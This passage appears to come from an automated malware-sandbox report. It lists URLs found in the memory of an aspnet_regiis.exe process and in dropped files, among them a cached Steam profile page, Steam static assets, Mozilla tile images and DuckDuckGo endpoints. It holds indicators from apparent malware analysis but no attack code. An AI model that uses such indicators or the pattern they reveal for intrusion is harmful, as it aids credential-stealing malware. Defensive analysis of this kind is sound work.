Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=2ZRoxzol
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=fWwP
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=HeLxjRDbQrcV&l=e
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
